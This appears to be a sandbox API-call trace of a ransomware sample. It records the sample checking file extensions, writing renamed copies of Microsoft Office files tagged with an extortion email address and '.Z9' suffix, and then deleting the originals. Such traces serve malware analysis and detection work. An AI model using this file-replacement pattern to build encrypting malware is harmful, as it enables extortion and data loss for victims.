	[0165.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0165.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0165.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0165.116] lstrlenW (lpString=".doc") returned 4
	[0165.116] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.116] lstrlenW (lpString=".docx") returned 5
	[0165.116] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0165.116] lstrlenW (lpString=".pdf") returned 4
	[0165.116] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.116] lstrlenW (lpString=".xls") returned 4
	[0165.116] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.116] lstrlenW (lpString=".xlsx") returned 5
	[0165.116] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0165.116] lstrlenW (lpString=".ppt") returned 4
	[0165.116] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0165.116] lstrlenW (lpString=".zip") returned 4
	[0165.116] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.116] lstrlenW (lpString=".rar") returned 4
	[0165.116] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.116] lstrlenW (lpString=".bz2") returned 4
	[0165.116] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.116] lstrlenW (lpString=".7z") returned 3
	[0165.117] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0165.117] lstrlenW (lpString=".dbf") returned 4
	[0165.117] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0165.117] lstrlenW (lpString=".1cd") returned 4
	[0165.117] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0165.117] lstrlenW (lpString=".jpg") returned 4
	[0165.117] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0165.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0165.117] lstrlenW (lpString=".doc") returned 4
	[0165.117] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.117] lstrlenW (lpString=".docx") returned 5
	[0165.117] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0165.117] lstrlenW (lpString=".pdf") returned 4
	[0165.117] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.117] lstrlenW (lpString=".xls") returned 4
	[0165.117] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.117] lstrlenW (lpString=".xlsx") returned 5
	[0165.117] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0165.117] lstrlenW (lpString=".ppt") returned 4
	[0165.117] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0165.117] lstrlenW (lpString=".zip") returned 4
	[0165.117] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.117] lstrlenW (lpString=".rar") returned 4
	[0165.118] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.118] lstrlenW (lpString=".bz2") returned 4
	[0165.118] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.118] lstrlenW (lpString=".7z") returned 3
	[0165.118] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0165.118] lstrlenW (lpString=".dbf") returned 4
	[0165.118] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0165.118] lstrlenW (lpString=".1cd") returned 4
	[0165.118] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0165.118] lstrlenW (lpString=".jpg") returned 4
	[0165.118] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.118] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0165.118] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32
	[0165.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0165.119] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=19136) returned 1
	[0165.119] CloseHandle (hObject=0x484) returned 1
	[0165.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x220
	[0165.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0165.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0165.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0165.120] lstrlenW (lpString=".doc") returned 4
	[0165.120] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.120] lstrlenW (lpString=".docx") returned 5
	[0165.120] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0165.120] lstrlenW (lpString=".pdf") returned 4
	[0165.120] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.120] lstrlenW (lpString=".xls") returned 4
	[0165.120] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.120] lstrlenW (lpString=".xlsx") returned 5
	[0165.120] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0165.120] lstrlenW (lpString=".ppt") returned 4
	[0165.120] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0165.120] lstrlenW (lpString=".zip") returned 4
	[0165.120] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.120] lstrlenW (lpString=".rar") returned 4
	[0165.120] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.121] lstrlenW (lpString=".bz2") returned 4
	[0165.121] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.121] lstrlenW (lpString=".7z") returned 3
	[0165.121] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0165.121] lstrlenW (lpString=".dbf") returned 4
	[0165.121] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0165.121] lstrlenW (lpString=".1cd") returned 4
	[0165.121] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0165.121] lstrlenW (lpString=".jpg") returned 4
	[0165.121] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0165.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0165.121] lstrlenW (lpString=".doc") returned 4
	[0165.121] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.121] lstrlenW (lpString=".docx") returned 5
	[0165.121] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0165.121] lstrlenW (lpString=".pdf") returned 4
	[0165.121] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.121] lstrlenW (lpString=".xls") returned 4
	[0165.121] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.121] lstrlenW (lpString=".xlsx") returned 5
	[0165.121] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0165.121] lstrlenW (lpString=".ppt") returned 4
	[0165.121] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0165.122] lstrlenW (lpString=".zip") returned 4
	[0165.122] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.122] lstrlenW (lpString=".rar") returned 4
	[0165.122] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.122] lstrlenW (lpString=".bz2") returned 4
	[0165.122] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.122] lstrlenW (lpString=".7z") returned 3
	[0165.122] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0165.122] lstrlenW (lpString=".dbf") returned 4
	[0165.122] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0165.122] lstrlenW (lpString=".1cd") returned 4
	[0165.122] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0165.122] lstrlenW (lpString=".jpg") returned 4
	[0165.122] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.122] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0165.122] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35
	[0165.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0165.319] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=18624) returned 1
	[0165.319] CloseHandle (hObject=0x440) returned 1
	[0165.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x220
	[0165.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0165.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81
	[0165.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81
	[0165.320] lstrlenW (lpString=".doc") returned 4
	[0165.320] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.320] lstrlenW (lpString=".docx") returned 5
	[0165.320] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0165.320] lstrlenW (lpString=".pdf") returned 4
	[0165.320] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.320] lstrlenW (lpString=".xls") returned 4
	[0165.320] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.320] lstrlenW (lpString=".xlsx") returned 5
	[0165.320] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0165.320] lstrlenW (lpString=".ppt") returned 4
	[0165.320] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81
	[0165.320] lstrlenW (lpString=".zip") returned 4
	[0165.320] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.320] lstrlenW (lpString=".rar") returned 4
	[0165.320] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.320] lstrlenW (lpString=".bz2") returned 4
	[0165.321] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.321] lstrlenW (lpString=".7z") returned 3
	[0165.321] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81
	[0165.321] lstrlenW (lpString=".dbf") returned 4
	[0165.321] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.387] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=7384) returned 1
	[0165.387] CloseHandle (hObject=0x484) returned 1
	[0165.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid")) returned 0x220
	[0165.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0165.389] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.389] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0165.390] GetLastError () returned 0x0
	[0165.390] ReadFile (in: hFile=0x484, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x1cd8, lpOverlapped=0x0) returned 1
	[0165.393] WriteFile (in: hFile=0x448, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x1ce0, lpOverlapped=0x0) returned 1
	[0165.394] ReadFile (in: hFile=0x484, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.395] WriteFile (in: hFile=0x448, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xea, lpOverlapped=0x0) returned 1
	[0165.395] SetEndOfFile (hFile=0x448) returned 1
	[0165.395] CloseHandle (hObject=0x448) returned 1
	[0165.395] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.395] SetEndOfFile (hFile=0x484) returned 1
	[0165.399] CloseHandle (hObject=0x484) returned 1
	[0165.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0165.400] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid")) returned 1
	[0165.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0165.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0165.401] lstrlenW (lpString=".doc") returned 4
	[0165.401] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.401] lstrlenW (lpString=".docx") returned 5
	[0165.401] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.401] lstrlenW (lpString=".pdf") returned 4
	[0165.401] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.401] lstrlenW (lpString=".xls") returned 4
	[0165.401] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.401] lstrlenW (lpString=".xlsx") returned 5
	[0165.401] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.401] lstrlenW (lpString=".ppt") returned 4
	[0165.401] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0165.401] lstrlenW (lpString=".zip") returned 4
	[0165.401] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.401] lstrlenW (lpString=".rar") returned 4
	[0165.401] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.401] lstrlenW (lpString=".bz2") returned 4
	[0165.401] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.401] lstrlenW (lpString=".7z") returned 3
	[0165.401] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0165.401] lstrlenW (lpString=".dbf") returned 4
	[0165.401] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0165.402] lstrlenW (lpString=".1cd") returned 4
	[0165.402] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0165.402] lstrlenW (lpString=".jpg") returned 4
	[0165.402] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0165.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0165.402] lstrlenW (lpString=".doc") returned 4
	[0165.402] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.402] lstrlenW (lpString=".docx") returned 5
	[0165.402] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.402] lstrlenW (lpString=".pdf") returned 4
	[0165.402] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.402] lstrlenW (lpString=".xls") returned 4
	[0165.402] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.402] lstrlenW (lpString=".xlsx") returned 5
	[0165.402] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.402] lstrlenW (lpString=".ppt") returned 4
	[0165.402] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0165.402] lstrlenW (lpString=".zip") returned 4
	[0165.402] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.402] lstrlenW (lpString=".rar") returned 4
	[0165.402] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.402] lstrlenW (lpString=".bz2") returned 4
	[0165.402] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.402] lstrlenW (lpString=".7z") returned 3
	[0165.403] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0165.403] lstrlenW (lpString=".dbf") returned 4
	[0165.403] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0165.403] lstrlenW (lpString=".1cd") returned 4
	[0165.403] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0165.403] lstrlenW (lpString=".jpg") returned 4
	[0165.403] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.403] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0165.403] lstrlenW (lpString="CARBN_01.MID") returned 12
	[0165.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0165.405] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=9322) returned 1
	[0165.405] CloseHandle (hObject=0x484) returned 1
	[0165.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 0x220
	[0165.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0165.406] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.406] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0165.407] GetLastError () returned 0x0
	[0165.407] ReadFile (in: hFile=0x484, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x246a, lpOverlapped=0x0) returned 1
	[0165.409] WriteFile (in: hFile=0x448, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x2470, lpOverlapped=0x0) returned 1
	[0165.411] ReadFile (in: hFile=0x484, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
